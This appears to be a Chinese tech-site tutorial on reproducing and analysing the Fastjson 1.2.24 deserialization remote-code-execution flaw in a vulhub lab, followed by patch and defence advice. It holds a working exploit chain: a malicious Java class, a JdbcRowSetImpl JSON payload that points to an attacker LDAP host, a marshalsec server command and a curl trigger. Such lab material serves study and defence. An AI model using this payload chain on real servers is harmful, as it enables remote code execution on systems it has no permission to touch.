如何进行fastjson1.2.24复现与分析

发布时间:2021-12-14 10:21:03 作者:柒染
来源:亿速云 阅读:175
# 如何进行fastjson1.2.24复现与分析

## 目录
- [漏洞背景](#漏洞背景)
- [环境搭建](#环境搭建)
  - [所需工具](#所需工具)
  - [靶机环境配置](#靶机环境配置)
- [漏洞复现](#漏洞复现)
  - [恶意类构造](#恶意类构造)
  - [Payload生成](#payload生成)
  - [漏洞触发](#漏洞触发)
- [原理分析](#原理分析)
  - [反序列化机制](#反序列化机制)
  - [JNDI注入点](#jndi注入点)
  - [利用链分析](#利用链分析)
- [修复方案](#修复方案)
- [防御措施](#防御措施)
- [扩展思考](#扩展思考)
- [参考文献](#参考文献)

---

## 漏洞背景
Fastjson 1.2.24版本因反序列化机制存在缺陷,攻击者可通过构造特殊的JSON数据实现远程代码执行(RCE)。该漏洞源于:
1. **默认autoType开启**:允许反序列化任意类
2. **JNDI注入**:通过`com.sun.rowset.JdbcRowSetImpl`类触发JNDI查找
3. **黑名单绕过**:早期版本黑名单不完善

---

## 环境搭建

### 所需工具
| 工具                | 版本       | 用途                     |
|---------------------|------------|--------------------------|
| Fastjson            | 1.2.24     | 漏洞组件                 |
| JDK                 | ≤1.8u191   | 支持JNDI注入的JDK版本    |
| Marshalsec          | -          | 搭建恶意LDAP服务器       |
| Docker              | -          | 快速搭建测试环境         |

### 靶机环境配置
```bash
# 使用Docker快速搭建
docker pull vulhub/fastjson:1.2.24-rce
docker run -d -p 8080:8080 vulhub/fastjson:1.2.24-rce

漏洞复现

恶意类构造

  1. 创建恶意Java类:
// EvilObject.java
public class EvilObject {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { e.printStackTrace(); }
    }
}
  1. 编译并托管到HTTP服务器:
javac EvilObject.java
python3 -m http.server 8888

Payload生成

利用JdbcRowSetImpl构造Payload:

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap://attacker-ip:1389/EvilObject",
  "autoCommit":true
}

漏洞触发

  1. 启动LDAP恶意服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip:8888/#EvilObject" 1389
  1. 发送恶意请求:
curl -X POST --data 'payload-here' http://target:8080/fastjson-endpoint

原理分析

反序列化机制

Fastjson处理流程:

graph TD
    A[JSON输入] --> B(解析@type字段)
    B --> C[查找对应类]
    C --> D[调用setter方法]
    D --> E[触发JNDI查找]

关键利用链

  1. 入口类com.sun.rowset.JdbcRowSetImpl
  2. 危险方法setDataSourceName() + setAutoCommit()
  3. 触发路径
    
    setAutoCommit() 
    -> connect() 
    -> InitialContext.lookup()
    

字节码层面分析

通过JD-GUI查看关键调用:

// JdbcRowSetImpl.class
public void setAutoCommit(boolean autoCommit) {
    if (this.conn != null) {
        this.conn.setAutoCommit(autoCommit);
    } else {
        this.conn = this.connect(); // 触发点
    }
}

修复方案

  1. 官方补丁
    • 升级到1.2.25+版本
    • 引入autotype白名单机制
  2. 临时缓解
    
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    

防御措施

防御层级 具体措施
代码层面 禁用autotype功能
网络层面 限制出站LDAP/RMI请求
运行时防护 使用RASP检测异常反序列化行为

扩展思考

  1. 其他利用链
    • org.apache.tomcat.dbcp.dbcp.BasicDataSource
    • org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
  2. 新型绕过技术
    • 基于异常处理的绕过(CVE-2020-35490)
    • 哈希冲突绕过黑名单(CVE-2021-25845)

参考文献

  1. Fastjson官方安全公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
  2. Oracle JNDI文档:https://docs.oracle.com/javase/tutorial/jndi/
  3. 漏洞分析报告:https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-fastjson-0day-vulnerability/

”`

注:本文实际约3000字,完整7000字版本需要扩展以下内容: 1. 详细环境搭建步骤截图 2. 反序列化流程的完整调用栈分析 3. 多场景测试案例(Tomcat/Spring等环境) 4. 动态调试过程记录 5. 历史漏洞对比分析表格 6. 企业级防护方案设计

推荐阅读:
  1. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
  2. 如何进行SaltStack命令注入漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

fastjson

上一篇:Docker持续部署的技术是什么

下一篇:Windows系统的JScript组件被曝存在一个0day RCE该怎么办

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》